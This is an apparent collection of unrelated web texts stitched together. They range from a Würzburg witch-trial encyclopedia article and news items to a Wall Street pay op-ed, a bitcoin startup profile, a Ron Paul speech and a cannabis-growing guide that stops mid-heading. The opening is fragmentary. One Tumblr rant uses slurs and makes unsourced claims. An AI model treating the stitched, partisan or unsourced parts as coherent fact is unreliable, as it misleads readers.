937-222-2000.
-Marienkapelle, outside of which the burnings are believed to have taken place. The, outside of which the burnings are believed to have taken place.  The Würzburg witch trial, which took place in Germany in 1626–1631, is one of the biggest mass-trials and mass-executions seen in Europe during the Thirty Years War; 157 men, women and children in the city of Würzburg are confirmed to have been burned at the stake, mostly after first being beheaded; 219 are estimated to have been executed in the city proper, and an estimated 900 were killed in the entire Prince-Bishopric.  The Würzburg witch trial is among the largest Witch trials in the Early Modern period: it was one of the four largest witch trials in Germany alongside the Trier witch trials, the Fulda witch trials, and the Bamberg witch trials.[1]  History [ edit ]  Background and context [ edit ]  The first persecutions in Würzburg started with the consent of Julius Echter von Mespelbrunn, Prince bishop of Würzburg, and reached its climax during the reign of his nephew and successor Philipp Adolf von Ehrenberg. They started in the territory around the city in 1626 and evapourated in 1630. As so often with the mass trials of sorcery, the victims soon counted people from all society; also nobles, councilmen and mayors. This was during a witch hysteria that caused a series of witch trials in South Germany, such as in Bamberg, Eichstätt, Mainz and Ellwangen.  In the 1620s, with the destruction of Protestantism in Bohemia and the Electorate of the Palatinate, the Catholic reconquest of Germany was resumed. In 1629, with the Edict of Restitution, its basis seemed complete. Those same years saw, in central Europe at least, the worst of all witch-persecutions, the climax of the European craze.  Many of the witch-trials of the 1620s multiplied with the Catholic reconquest. In some areas the lord or bishop was the instigator, in others the Jesuits. Sometimes local witch-committees were set up to further the work. Among prince-bishops, Philipp Adolf von Ehrenberg of Würzburg was particularly active: in his reign of eight years (1623–31) he burnt 900 persons, including his own nephew, nineteen Catholic priests, and children of seven who were said to have had intercourse with demons. The years 1627–29 were dreadful years in Baden, recently reconquered for Catholicism by Tilly: there were 70 victims in Ortenau, 79 in Offenburg. In Eichstätt, a Bavarian prince-bishopric, a judge claimed the death of 274 witches in 1629. At Reichertshofen, in the district of Neuburg an der Donau, 50 were executed between November 1628 and August 1630. In the three prince-archbishoprics of the Rhineland the fires were also relit. At Coblenz, the seat of the Prince-Archbishop of Trier, 24 witches were burnt in 1629; at Sélestat at least 30—the beginning of a five-year persecution. In Mainz, too, the burnings were renewed. At Cologne the City Fathers had always been merciful, much to the annoyance of the prince-archbishop, but in 1627 he was able to put pressure on the city and it gave in. Naturally enough, the persecution raged most violently in Bonn, his own capital. There the chancellor and his wife and the archbishop's secretary's wife were executed, children of three and four years were accused of having devils for their paramours, and students and small boys of noble birth were sent to the bonfire.  The craze of the 1620s was not confined to Germany: it raged also across the Rhine in Alsace, Lorraine and Franche-Comté. In the lands ruled by the abbey of Luxueil, in Franche-Comté, the years 1628–30 have been described as an "épidémie démoniaque." "Le mal va croissant chaque jour," declared the magistrates of Dôle, "et cette malheureuse engeance va pullulant de toutes parts." The witches, they said, "in the hour of death accuse an infinity of others in fifteen or sixteen other villages."  The trials [ edit ]  Already in 1616-1617, there had been a first wave of witch trials in the city, and an isolated witch trial in 1625, which gave way to the great hysteria in 1626. The great witch hysteria of Würzburg started in 1626, and stopped in 1631, though the documents of the executed are from the period 1627-29.  In August, 1629, the Chancellor of the Prince-Bishop of Würzburg thus wrote (in German) to a friend:  As to the affair of the witches, which Your Grace thinks brought to an end before this, it has started up afresh, and no words can do justice to it. Ah, the woe and the misery of it--there are still four hundred in the city, high and low, of every rank and sex, nay, even clerics, so strongly accused that they may be arrested at any hour. It is true that, of the people of my Gracious Prince here, some out of all offices and faculties must be executed: clerics, electoral councilors and doctors, city officials, court assessors, several of whom Your Grace knows. There are law students to be arrested. The Prince-Bishop has over forty students who are soon to be pastors; among them thirteen or fourteen are said to be witches. A few days ago a Dean was arrested; two others who were summoned have fled. The notary of our Church consistory, a very learned man, was yesterday arrested and put to the torture. In a word, a third part of the city is surely involved. The richest, most attractive, most prominent, of the clergy are already executed. A week ago a maiden of nineteen was executed, of whom it is everywhere said that she was the fairest in the whole city, and was held by everybody a girl of singular modesty and purity. She will be followed by seven or eight others of the best and most attractive persons ... And thus many are put to death for renouncing God and being at the witch-dances, against whom nobody has ever else spoken a word. To conclude this wretched matter, there are children of three and four years, to the number of three hundred, who are said to have had intercourse with the Devil. I have seen put to death children of seven, promising students of ten, twelve, fourteen, and fifteen. Of the nobles--but I cannot and must not write more of this misery. There are persons of yet higher rank, whom you know, and would marvel to hear of, nay, would scarcely believe it; let justice be done . . . P. S.--Though there are many wonderful and terrible things happening, it is beyond doubt that, at a place called the Fraw-Rengberg, the Devil in person, with eight thousand of his followers, held an assembly and celebrated mass before them all, administering to his audience (that is, the witches) turnip-rinds and parings in place of the Holy Eucharist. There took place not only foul but most horrible and hideous blasphemies, whereof I shudder to write. It is also true that they all vowed not to be enrolled in the Book of Life, but all agreed to be inscribed by a notary who is well known to me and my colleagues. We hope, too, that the book in which they are enrolled will yet be found, and there is no little search being made for it.  These witch trials seem to have been a phenomenon resulting from a great mass hysteria; people from all walks of life were arrested and charged, regardless of age, profession or sex, for reasons ranging from murder and satanism to humming a song with the Devil, or simply for being vagrants and unable to give a satisfactory explanation of why they were passing through town. Thirty-two of them appear to have been vagrants, and many others themselves believed they were witches and worshipped Satan.[citation needed]  At least 157 people were executed in the city. The actual number was in fact larger, as Hauber, who preserved the list in Acta et Scripta Magica, adds that the list is far from complete and that there were a great many other burnings too many to specify. In the territory outside the city, several hundreds of people were burned also, and the total number is estimated to have been about 900.  The End [ edit ]  On 16 July 1631, Philip Adolf died, and when the city was taken by king Gustavus Adolphus of Sweden the same year, the witch trial was put to an end. The executed are listed to have been 157 people until February 1629; after this, the executions are not documented. They are estimated to have been 219 in the city itself, but 900 total in the areas under the authority of the Prince Bishop. It has been called the greatest witch trial ever to have occurred in Franconia, though the famous Bamberg witch trials of 1626-1630 was a close second with 300 executions.  Aftermath [ edit ]  A Jesuit, Friedrich Spee, was more radically converted by his experience as a confessor of witches in the great persecution at Würzburg. That experience, which turned his hair prematurely white, convinced him that all confessions were worthless, being based solely on torture, and that not a single person whom he had led to the stake had been guilty. Since he could not utter his thoughts otherwise—for, as he wrote, he dreaded the fate of Tanner—he wrote a book which he intended to circulate in manuscript, anonymously. But a friend secretly conveyed it to the Protestant city of Hameln and it was there printed in 1631 under the title Cautio Criminalis.  The executed [ edit ]  Many of the executed are not mentioned by name. Below follows some names to give an example of the variety of people being burned:  "Three play-actors".  "Four innkeepers".  "Three common councilmen of Wurszburg".  "Fourteen vicars of the Cathedral".  "The burgomasters lady" (The wife of the mayor).  "The apothecarys wife and daughter".  "Two choristers of the cathedral".  Gobel Babelin, aged nineteen, "The prettiest girl in town".  "The wife, the two little sons and the daughter of councillor Stolzenberg."  Baunach, "The fattest burgher [merchant] in Wurzburg".  Steinacher, "The richest burgher in Wurzburg".  The seventh burning  "A wandering boy, twelve years of age".  "Four strange men and women, found sleeping in the market-place".  The thirteenth/fourteenth burning  " A little maiden nine years of age".  " A maiden still less [than nine]".  " Her [the girl's] sister, their mother and their aunt".  " A pretty young woman of twenty-four".  The eighteenth burning  "Two boys of twelve".  "A girl of fifteen".  The nineteenth burning  " The young heir of the house of Rotenhahn", aged nine.  A boy of ten.  A boy, twelve years old.  See also [ edit ]  References [ edit ]
-Wednesday’s big news on Wall Street wasn’t that for yet another year its average wage and bonuses put finance employees in the top 1 percent. It was that the Federal Reserve’s third interest rate hike in a decade was fueling a stock rally — meaning there was more money for the already wealthy to grab.  Advertisement:  The Wall Street Journal’s website was filled with reports on the Fed’s action. Nowhere in its fixation on the changing investment landscape did it note that its frontline readers, the traders and brokers working in New York’s financial industry, were once again the poster boys for economic inequality in America.  But this overwhelmingly white and male cadre are the most visible concentration of America’s economic elite, according to 2016 employment, wage and annual bonus data released on March 15 by the New York State Comptroller’s office. When analyzed by progressive economists, it showed how last year’s average bonuses alone—forget about the six-figure base salaries — could more than offset the demands by millions of low-wage workers nationwide to earn $15 an hour, which would translate into $31,200 in annual pay.  “For Wall Street employees, annual bonuses come as an extra reward on top of their base salaries, which averaged $388,000 in 2015, the most recent year for which data are available,” the Institute for Policy Studies (IPS), a progressive Washington think tank, noted in a report Wednesday. “The average Wall Street bonus increased by 1 percent last year to $138,210. Since 1985, the nominal value of the average Wall Street bonus has increased 890 percent, whereas the minimum wage has risen only 116 percent.”  Taken together, that average salary and bonus equates to $526,000 in income. That stunning figure is just above the $518,000 threshold to be in the top 1 percent of New York State’s earners, according to a study released last June by the Economic Policy Institute, another progressive Washington think tank.  As the Institute for Policy Studies noted, the $24 billion paid in bonuses to 172,400 Wall Street employees could have more than paid for raising wages to $15 a hour for 3.1 million restaurant servers and bartenders (a $17 billion cost), or 1.7 million home health and personal care aides (a $13 billion cost) or 3.2 million fast food prep and serving workers (a $23 billion cost).  But that’s not how the exploitive American economy works, is it? These wage disparities are also followed by gender and racial disparities, IPS said, as women and people of color dominate the bottom rungs of the economic ladder while Wall Street’s mostly male white ranks fill the ever-prospering top.  Advertisement:  “The much faster increase in Wall Street bonuses [than minimum wages] has contributed to racial and gender inequality, since workers at the bottom of the wage scale are predominantly people of color and female, whereas those in the financial industry’s upper echelons are overwhelmingly white and male,” IPS noted. “The average Wall Street bonus increased by just 1 percent last year. But the nominal value of the average bonus has grown by 890 percent since 1985, from $13,970 to $138,210. Meanwhile, the [federal] minimum wage has risen only 116 percent, from $3.35 per hour to $7.25. Adjusted for inflation, the minimum wage was nearly 3 percent lower in 2016 than in 1985, whereas the average bonus was about 343 percent higher.”  The big questions raised by these trends remain what should or could be done about this vast disparity. Progressive politicians like Sen. Bernie Sanders, I-Vt., have assailed elected officials who are determined to keep bending laws to reward their wealthiest constituents. One of Sanders’ latest examples came after President Donald Trump’s recent address to Congress, where he replied, “I did not hear President Trump tonight mention — mention the words ‘income and wealth inequality’ or the fact that we now have the widest gap between the very rich and everyone else since the 1920s . . . How could you give a speech to the nation and not talk about that enormously important issue?”  How? The answer is simple. The defenders of the wealthiest Americans — such as the Wall Street Journal and The Economist—keep perpetuating the myth that successful capitalists are the best exemplars of human ingenuity and evolution. Thus, because they’re superior to more ordinary individuals, or have figured out how the financial world works, they deserve their outsized rewards. (That same logic, by the way, is why most incumbents in Congress will never reform the campaign finance system: they figured it out and won. What’s the problem?)  In many respects this tension over redistributing wealth — upward, downward or more equally—is the unspoken backdrop to the Obamacare repeal effort now in Congress. Obamacare’s taxes, which the Republicans uniformly despise, is the law’s way of getting the richest Americans and health industry segments to help pay for insurance premium subsidies for lower wage households. The House GOP doesn’t want Americans who can afford it to contribute more toward the nation’s health; they want to let them keep more money for themselves.  Advertisement:  What’s missing in the GOP-led Obamacare debate, and also absent in many economic policy debates, is the basic idea that giving middle- and lower-income households more spending money, via higher wages, contributes more to overall economic growth than making the already rich richer. That point doesn’t get overlooked in IPS’s report on the latest Wall Street bonus data.  “Shifting resources into the pockets of low-wage workers would give the American economy a much bigger bang for the buck than increases in Wall Street bonuses,” the report said. “To meet basic needs, the low-wage workers who prepare our food and take care of the elderly tend to spend nearly every dollar they earn, creating beneficial economic ripple effects. The wealthy, by contrast, can afford to squirrel away more of their earnings.”  This observation keeps emerging every time new statistics surface confirming the growing gaps between America’s rich and everyone else. If the question is what to do about deepening inequality, to progressives the answer is clear: share the wealth.  Advertisement:  “Forty-four percent of U.S. workers still earn less than $15 per hour. This is the wage level needed to cover basic living costs in most areas of the country,” the IPS report said. Wall Street’s $23.9 billion in bonuses last year “amounts to 1.6 times the combined earnings of all 1,075,000 Americans who work full-time at the current federal minimum wage of $7.25 per hour.”  Those bonuses are in addition to a $388,000 average base annual salary.
-A powerful new video from LGBTQ television network Logo provides a portrait of queer people navigating life in what has previously been called the most homophobic place on Earth: Jamaica.  “This Is Who I Am: Stories of LGBTQ Survival from Jamaica” is a part of Logo’s “Global Ally” campaign, a large-scale, multi-platform initiative that seeks to share the stories of people across the spectrum of queer identity on a global level. Logo previously told HuffPost that “Global Ally” is not meant to exist merely as a story-telling project, but also as a nexus of connection and solidarity for queer and trans-identifying people living in less-LGBTQ friendly corners of the world.  In partnership with Global Ally, “Where Love Is Illegal,” a photo-based storytelling campaign that elevates queer stories on a global level, went to Jamaica to capture the stories.  “This Is Who I Am: Stories of LGBTQ Survival from Jamaica” premiered at Global Ally’s panel “Sharing the Way to Global LGBTI Equality” at SXSW Interactive in Austin, Texas last week.  “Logo’s Global Ally campaign is committed to being a megaphone for LGBTIQ people whose stories oftentimes go untold,” Pamela Post, SVP of Original Programming at Logo, told HuffPost. “Through the campaign, our audience can learn more about issues affecting the community not only here in the United States, but around the world, and can be a part of the global shift towards acceptance. We were proud to partner with Where Love is Illegal to shed light on the resilience of the LGBTIQ community in Jamaica.”
-Authorities say a northeast Florida woman who didn't like her neighbors had their mobile home demolished.  According to an arrest report, Ana Maria Moreta Folch of St. Augustine told a heavy equipment operator that she owned the trailer and wanted it and its septic tank destroyed.  The Florida Times-Union reports that St. Johns County Sheriff's deputies were called when the trailer's real owner arrived Monday and found the demolition underway.  The arrest report says Moreta Folch wanted the trailer bulldozed because she thought its occupants were "unsavory" and she suspected that they had broken into her car.  Weird News Photos: Man Shoves Snake in Pants  Moreta Folch was charged with criminal mischief, a third-degree felony. She was released Wednesday on $10,000 bail. Jail records did not show whether she had an attorney.  Copyright Associated Press
-Injured Diva Lana gives exclusive pre- and post-surgery comments to the WWE Universe. Will she return?  FAIRFAX, Va. — After suffering a wrist injury while working out in the ring before a WWE Live Event in Fairfax, Virginia, this past weekend, WWE.com has learned that WWE Diva Lana has completed a successful surgery.  Update 9/11/15 - 1:56 p.m.  Today, Dr. Chris Amann reported on Lana’s successful surgery, which took place on Thursday in Nashville, Tenn.  “Lana underwent open reduction and internal fixation (ORIF) of a left distal radius fracture with a volar plate,” he explained. “The fracture was stabilized and returned to its normal anatomic position during the surgery using the volar plate and screws. Lana did very well without any complications and is expected to make a full recovery.”  Story, as first reported on 9/7/15  “During a training session [Sunday] afternoon, Lana had sustained an injury in the ring. We attended to her and noticed that she had a deformity of her wrist," said WWE's senior ringside physician Dr. Chris Amann.  "Miz TV" welcomes Summer Rae, Dolph Ziggler and Lana  Dr. Amann continued, “We obtained X-rays which showed a Colles’ fracture and [we put her] in a splint. Most of these Colles’ fractures do better surgically than non-surgically, especially in younger patients. Most likely this will require an operation, which will take her out of active competition.”  How will Lana’s wrist injury impact her ongoing drama with Dolph Ziggler, Rusev and Summer Rae? Find out as WWE speeds toward Night of Champions, live Sept. 20 at 8 ET/5 PT on the award-winning WWE Network.
-There's been tons of speculation about what everyone will dress up as for Halloween. Will it be the kids from Stranger Things? A rainbow-haired unicorn? Or will you keep it classic as a witch or a hippie? Polyvore revealed data on the top searches for Halloween costumes this season, and it seems as though the general public has another idea in mind. As it turns out, the top spot goes to Harley Quinn from Suicide Squad.  The choice totally makes sense: it incorporates the best parts of all of the costumes we love: It’s a little daring, with fishnets and hot pants, a little sporty with a bomber you’re sure to wear long after Halloween is over, and — to finish it off — you can die your hair a rainbow of colors (at least for one night!).  Harley was followed by the below list of top ten contenders. So now the only question is: Who will you be?  Courtesy of Polyvore  Related: How to Dress Like the Kids of Stranger Things for Halloween
-Can somebody please reblog this and tag samsungnote7pussy? I need her and the people like her to read this.  There have been almost 200 dead people for daring to stand in the streets and say “we don’t want this. 19 people died in election day, none older than 22. For daring to say that we want to be a democratic republic. Of those 200 only 4 were older than 30  My mother is facing unemployment, just because she didn’t vote. That means that I, a informal worker will have to maintain a three person house. But the fact that we’re brown is more important than the fact that we can’t eat anything but yucca and that two of us have anemia because of that.  Oh yeah, and all that free healthcare that we can’t use because its fucking worthless and the doctors are not being paid! And of course the medicines that can’t be found anywhere.  You know what is the real number of voters in the election? 200,000. That’s how many voters they had the last Time. But imbeciles like you will believe that 8 million number, because identity politics.  Because the poor are well known for the knowledge of politics.  El hijo de la maria, a literal thug and one of those representatives, proposed to “abolish the dollar” to be able to import stuff with bolivars. The representatives for education? Proposed to stop grading kids because it is “classicist and stressful”. Every single proposition is worse than the last. They’re going to ruin our country. Because they’re ignorant, retarded idiots without education that believe that the system has the fault for all their problems.  With this new constitution I can be given 40 years in prison with forced labor, because I’m telling you this. A murderer gets 8 and no labor.  And if you’re planning to tell me to check my sources, have in mind that all I need to do to confirm my sources is to go out my door.  You’re defending a true fascist government. But the fact that there are women in a unconstitutional group to violate the constitution is more important that our lives.  PD: ALSO, this is one of the most homophobic govs we’ve ever had. They have used us and promised to legalize marriage and help us. Instead they raid reunion places and rape the people they capture before sending them to die in jail.  So you, your people and anyone who thinks like you. Please, shut up and go fuck yourself
-“There’s a metaphor to it,” CEO Pieter Gorsira explains, addressing his startup Lawnmower, and its, by bitcoin industry standards, unconventional name.  If the name Lawnmower at first keeps users at a distance, however, the explanation does much to illuminate the novel concept the Boost VC startup is hoping will help it become a low-risk bitcoin investment solution.  “Working backwards, it’s like we’re running the lawnmower over the grass and we’re clipping off a little bit of change. So, as you go along, we slice all these little blades of grass and collect change from these transactions,” Gorsira continued.  Put more directly, Lawnmower uses an API developed by Spark Capital-backed Plaid to connect to users’ online banking accounts at Bank of America, Chase, Wells Fargo, Citibank and US Bank.  From there, Lawnmower watches its users’ accounts for transactions, rounding up the purchase of say a $3.50 latte to $4 and saving that 50 cents for later. Once users have accumulated at least $4 in total savings through small debit or credit purchases, Lawnmower purchases bitcoin on behalf of the user.  The effect, according to Gorsira, is a solution to bitcoin’s volatility that also allows investors a chance to get exposed to its potential benefits.  Gorsira told CoinDesk:  “We’re trying to raise consumer awareness about bitcoin and give them an easy way to get in without huge commitment, so you can buy $3–$4 every couple days instead of buying bitcoin at $300 and worrying about where it’s going to go.”  As for whether the name is the best way to communicate these goals, the three-person team (complemented by CTO Patrick Archambeau and CFO Alex Sunnarborg) behind the project is confident it will resonate with consumers, or at least, differentiate it from the competition.  “Having ‘bit’ or ‘chain’ is like an Internet company having the letter E, like E-school.com,” Gorsira added.  Competitive edge  The idea that spare change can be converted into investments is not exactly a new one, with the concept already in use by startups like Acorns, an app that has raised $9m in funding to allow users to make small-scale investments.  Gorsira acknowledges that he was worried that Lawnmower wouldn’t be first to market with the concept in the bitcoin space, expressing a fear that a company the size of Coinbase could develop a similar app “in a week”.  Still, the team reports that Coinbase isn’t interested in a similar idea for its own, and that to some extent, the company supports the Lawnmower project. “All of the bitcoin is housed on Coinbase, so when you sign up you have to have a Coinbase account that you log in with,” Archambeau clarified.  As for a long-term competitive advantage, Lawnmower’s team sees its product evolving similarly to Acorn’s in terms of the variety of investment options it offers.  “We have a lot of different ideas like putting 20% of the savings into a different currency like litecoin, dogecoin or maybe having a slider that lets you invest 200% of your change into bitcoin,” Gorsira said.  Beta launch  Lawnmower officially opened a beta on 25th March, allowing a small group of users into the program for an initial glimpse. Sign-ups, Archambeau said, are still available.  In part, the team wants to get some fresh air into the room in terms of the ideas that they’re able to generate for the project, so that they can best align the final launch product with informed feedback.  “We need to see what people like or don’t like so we can start adding features. The point is to have users use it, break it and tell us if they like it. [It goes] beyond three people who live in the same room everyday. We get kind of hive-minded,” Gorsira quipped.  As for signing up for the service, beta users will need to have iOS 8 to run the TestFlight application, though Lawnmower is built for iOS 6 and 7 compatibility.  The installation process is simple provided users meet these qualifications, as the app quickly moves through a series of windows that encourage users to connect to their bank and answer security questions necessary to access the accounts.  Fiat-to-bitcoin bridge  Over time, Lawnmower sees value in creating a platform that it believes will have a unique set of users among bitcoin companies, especially given that it will in effect monitor the traditional financial behaviors of bitcoin users.  “There’s no company in the bitcoin space that has those ties with fiat,” Gorsira said. “By linking your spending and saving if you will, having information on both the bitcoin and fiat side is a lot more powerful.”  Gorsira described Lawnmower as a bridge between products like Mint and Coinbase, in that it appeals to both sets of distinct users, though he believes the company will likely seek to move beyond bitcoin.  “People are starting to get used to conscious saving. So, [we want to] target those people who are less technical and encourage them to diversify some of their assets,” Gorsira continued, concluding:  “We have a lot longer plans once we acquire a user base.”  Images via Lawnmower
-So the responsible thing for a U.S. president to do, in these circumstances, is to have the backbone to stand up against Russian interference in U.S. democracy — not to question, as Trump did on Thursday, the competence of our own intelligence community and to publicly doubt, once again, the conclusion that Russia was behind the hacking. Trump talks big on Twitter, but when he came face to face with Russian President Vladimir Putin on Friday, we heard him say what an honor it was to meet him. It has been reported that Trump asked Putin about the election hacking, giving Putin the chance to issue an obligatory denial, despite all the evidence gathered by the U.S. intelligence community. One can only hope that Trump made clear to Putin that the United States won't tolerate continued Russian interference in elections, as we've seen in the United States, France and now in Germany and across Europe. (This is one conversation that it would be nice to have a tape of.)
-EUREKA, Calif. – Police arrested a suspect who allegedly shot a man using a shotgun shell packed with breakfast cereal.  Officers in the Northern California city of Eureka responded to reports of “shots fired” and at least one person with a gunshot wound around 3:25 p.m. Wednesday afternoon.  The victim, who had suffered a non-life threatening injury to the hand, was treated at a nearby hospital, police said.  Detectives caught up with the suspected shooter, 29-year-old Timothy Glass Jr., after he fled to Palco Marsh, site of a large homeless encampment, according to KRCR-TV. Police say one detective suffered a minor injury during the arrest.  An investigation later determined that Glass used a flare gun to fire the shell, which had been stuffed with Rice Krispies.  Glass was booked into the Humboldt County Correctional Facility for resisting arrest and probation violation.  The victim positively identified Glass but declined to press any charges.
-Recently by Ron Paul: It Is Time To Leave Afghanistan  Before the House of Representatives: Statement Opposing the Iran Refined Petroleum Sanctions Act, December 15, 2009  I rise in strongest opposition to this new round of sanctions on Iran, which is another significant step toward a US war on that country. I find it shocking that legislation this serious and consequential is brought up in such a cavalier manner. Suspending the normal rules of the House to pass legislation is a process generally reserved for “non-controversial” business such as the naming of post offices. Are we to believe that this House takes matters of war and peace as lightly as naming post offices?  This legislation seeks to bar from doing business in the United States any foreign entity that sells refined petroleum to Iran or otherwise enhances Iran’s ability to import refined petroleum such as financing, brokering, underwriting, or providing ships for such. Such sanctions also apply to any entity that provides goods or services that enhance Iran’s ability to maintain or expand its domestic production of refined petroleum. This casts the sanctions net worldwide, with enormous international economic implications.  End the Fed Ron Paul Best Price: $1.99 Buy New $8.00 (as of 07:50 EST - Details)  Recently, the Financial Times reported that, “[i]n recent months, Chinese companies have greatly expanded their presence in Iran’s oil sector. In the coming months, Sinopec, the state-owned Chinese oil company, is scheduled to complete the expansion of the Tabriz and Shazand refineries — adding 3.3 million gallons of gasoline per day.”  Are we to conclude, with this in mind, that China or its major state-owned corporations will be forbidden by this legislation from doing business with the United States? What of our other trading partners who currently do business in Iran’s petroleum sector or insure those who do so? Has anyone seen an estimate of how this sanctions act will affect the US economy if it is actually enforced?  The Revolution: A Mani... Ron Paul Best Price: $1.27 Buy New $5.00 (as of 07:50 EST - Details)  As we have learned with US sanctions on Iraq, and indeed with US sanctions on Cuba and elsewhere, it is citizens rather than governments who suffer most. The purpose of these sanctions is to change the regime in Iran, but past practice has demonstrated time and again that sanctions only strengthen regimes they target and marginalize any opposition. As would be the case were we in the US targeted for regime change by a foreign government, people in Iran will tend to put aside political and other differences to oppose that threatening external force. Thus this legislation will likely serve to strengthen the popularity of the current Iranian government. Any opposition continuing to function in Iran would be seen as operating in concert with the foreign entity seeking to overthrow the regime.  This legislation seeks to bring Iran in line with international demands regarding its nuclear materials enrichment programs, but what is ironic is that Section 2 of HR 2194 itself violates the Nuclear Non Proliferation Treaty (NPT) to which both the United States and Iran are signatories. This section states that “[i]t shall be the policy of the United States to prevent Iran from achieving the capability to make nuclear weapons, including by supporting international diplomatic efforts to halt Iran’s uranium enrichment program.” Article V of the NPT states clearly that, “[n]othing in this Treaty shall be interpreted as affecting the inalienable right of all the Parties to the Treaty to develop research, production and use of nuclear energy for peaceful purposes without discrimination and in conformity with articles I and II of this Treaty.” As Iran has never been found in violation of the NPT — has never been found to have diverted nuclear materials for non-peaceful purposes — this legislation seeking to deny Iran the right to enrichment even for peaceful purposes itself violates the NPT.  Mr. Speaker, I am concerned that many of my colleagues opposing war on Iran will vote in favor of this legislation, seeing it as a step short of war to bring Iran into line with US demands. I would remind them that sanctions and the blockades that are required to enforce them are themselves acts of war according to international law. I urge my colleagues to reject this saber-rattling but ultimately counterproductive legislation.  See the Ron Paul File  December 17, 2009  The Best of Ron Paul
-Are you curious about the natural life cycle of the cannabis plant? Do you want to try your hand at producing your own marijuana harvest, but are unsure about how, exactly, to go about it? Well have we got a treat for you!  In this article, the experts at Honest Marijuana will examine the seven key stages of the marijuana plant life cycle. Along the way, we’ll discuss:  The importance of labeling the sex of your seeds  How to encourage germination  How to recognize embryonic leaves on a marijuana plant seedling  The importance of light during the vegetative stage  The difference between the male and female plants  Why you need to isolate the female plants if you want to produce the most bud  The best ways to harvest and preserve your marijuana plant  Planning for the next growing season  After that, we’ll guide you through the entire growth process of the marijuana plant—from germination to seedling; through vegetation, pre-flowering, and flowering; to harvesting and the next seed life-cycle stages of your pot plant.  So strap yourself in for a wild ride through the basic biology of your favorite weed. It’s sure to be an enjoyable trip. We’ll start our journey where all good journeys begin: at the origin, the source, the seed.  Stage #1: The Marijuana Plant Seed  Source: Pinterest.com  Pick up any seed and examine it closely. Turn it over and around. Feel the weight. Notice the shape and the color. Now tell me if that seed is going to produce a male marijuana plant or a female marijuana plant. Can’t do it, can you? Don’t feel bad. No one can.  But that introduces a major problem into the world of do-it-yourself ganja growing: how can you be sure the seeds you plant will produce the marijuana you want? This is an important question because only the female plant produces the trichome-rich cola buds that you can harvest to smoke, vape, dab and ingest.  The male plant produces none of that. In fact, the male marijuana plant can actually be a detriment to your cannabis harvest if grown together with female plants. This is because the male plant’s sole purpose is to pollinate the female plants. And while that doesn’t sound like a bad thing, it actually is.  When female marijuana plants are pollinated, they start using their energy to produce seeds and stop using their energy to feed the buds that we all know and love. Allowing a male plant to grow alongside a female plant is a recipe for reduced bud harvest and can ruin the euphoric properties of the female cannabis plant’s high-inducing “fruit.” Be sure you separate all male and female plants right away.  So as you can see, it’s good to know if your ganja seeds will produce female plants or male plants before you begin growing them. But that brings us back to the earlier question: how can you be sure the seeds you plant will produce the marijuana you want?  Many marijuana seeds can look alike so, really, the only way to know for sure if the seed you’re holding is male or female is to label it immediately after removing it from the plant. Now, obviously, you can’t label the seed itself, but you can put the seeds in a container with other seeds of the same sex.  In the example photo below, you can see the tiny seed in what looks to be a shot glass or small candleholder. The paper label on the front shows the strain (Skunk Special) and the sex (F for female) of this particular seed.  Source: Weedsthatplease.com  And just to be clear for those of you who are already high as a kite, you don’t need to store each individual seed in its own container. You can fill the container with seeds as long as they are all the same strain and all the same sex. Just thought we should state that outright before you blow all your hard-earned funds on a gazillion small containers.  For those of you on a budget, the simplest container is a paper bag or envelope, but other types will work as well. Just make sure that you don’t store your seeds in a plastic bag or some other airtight container. The moisture that gets trapped inside will cause the seed to mold and become useless.  Whatever container you choose, be sure to mark it with the strain name and the sex of the plant so you can keep your strains separated.  When you’re finished sorting your seeds, it’s time to move on to the next stage in the marijuana plant life cycle.  Stage #2: Germination  Germination is the development of a plant from a seed or spore after a period of dormancy. Once you remove the seed from the marijuana plant, it will go dormant until it’s exposed to moisture. That means that if you keep the seeds dry, you can store them for up to a year without affecting viability.  But should you germinate both the male and female seeds in order to produce quality buds for recreational or medicinal use? We’ll answer that question in the next two sections.  Source: 420magazine.com  Separate The Males  At this point, you should have a pile of male seeds on your left and a pile of female seeds on your right. The side each sex is on doesn’t really matter as long as they’re separated. If you want male seeds on the right and female seeds on the left, more power to ya.  Now gather up the male seeds and store them in a dark, dry closet or cupboard. In fact, take a moment and put them in an entirely different room just to be safe. You’re not going to need them, and you don’t want to take any chance that they’ll somehow affect your female plants.  Gotcha! There really is no risk of cross-contamination unless you plant the male seeds and allow them to grow and mature. We were just waxing hyperbolic in the previous paragraph to underscore just how unimportant the male seeds are.  Germinate The Females  Now take the female seeds and soak them in a cup of water or fold them up in a damp paper towel. Chances are, you’ve either done the damp paper towel experiment in science class or you know someone who did. So it shouldn’t be a surprise that you can start the growing process with nothing more than a bit of moisture.  If you choose the cup of water option, you may notice that some seeds will float at first. Don’t worry. They will eventually sink to the bottom as they absorb water, become saturated, and sprout.  Keep in mind that a single marijuana plant can grow to five feet tall with a wingspan (distance left to right) of two to three feet. That can fill up a room rather quickly. The key point when planning your grow is to give each plant plenty of space. Don’t germinate 20 seeds unless you’ve got the square footage to accommodate that much biological matter.  Leave the wet seed covered in a warm dark place for 24 hours until the seed sprouts its taproot. When the taproot emerges, remove the seed from the cup of water or the damp paper towel and plant it in some good, healthy dirt.  Source: Autoflowering-cannabis.com  The taproot will then attach itself to the soil and start soaking up the nutrients it needs to continue in the growth cycle. Eventually, the seed will push a new stem up past the surface of the soil. Thus begins the seedling stage of the marijuana plant life cycle.  Stage #3: Seedling  During the seedling stage, two embryonic leaves will open outward from the stem to receive the sunlight that the baby plant needs to break out of its underground seed casing. The embryonic leaves will look nothing like the marijuana leaves that you’re used to.  The next pair of leaves to grow from the baby plant will be the first to have the classic rounded points that make the marijuana leaf stand out from all the rest. The marijuana leaf is so recognizable that many people in the cannabis community use it as a symbol to represent their lifestyle. The image below shows the contrast between the two sets of leaves.  Source:Growyourownstone.com  The pair at the top and bottom of the image (top left and bottom right to be more specific) are the embryonic leaves. See how they’re smooth and fairly indistinct? The pair at the left and right of the image are the marijuana leaves that you’ve come to know so well and love so much. See the serrations along the edges? These are a classic feature of the marijuana leaf.  All in all, the seedling will grow between four and eight leaves during this stage of its development. The seedling phase can last anywhere from one to three weeks depending on:  Soil type  Strain of marijuana grown  Amount of water the seed receives  Airflow  Humidity  Duration of light  Quality of light  If this is your first or second grow (or even your third, fourth, or fiftieth), you should focus on growing a healthy plant rather than the exact amount of time it takes to get through each stage. We just supply these general numbers to give you an idea of what to watch for as your plant grows.  So don’t freak out if the seedling phase is a day or two shy of a week or stretches slightly more than three weeks. It’s just a plant, man. Yes, the end result is your very own homegrown ganja, but it’s not worth getting worked up about. You can always go buy a baggie of your favorite strain from your local dispensary.  That brings us to the next step in the life of the marijuana plant: the vegetative (or vegetation) phase.  Stage #4: Vegetative  Source: 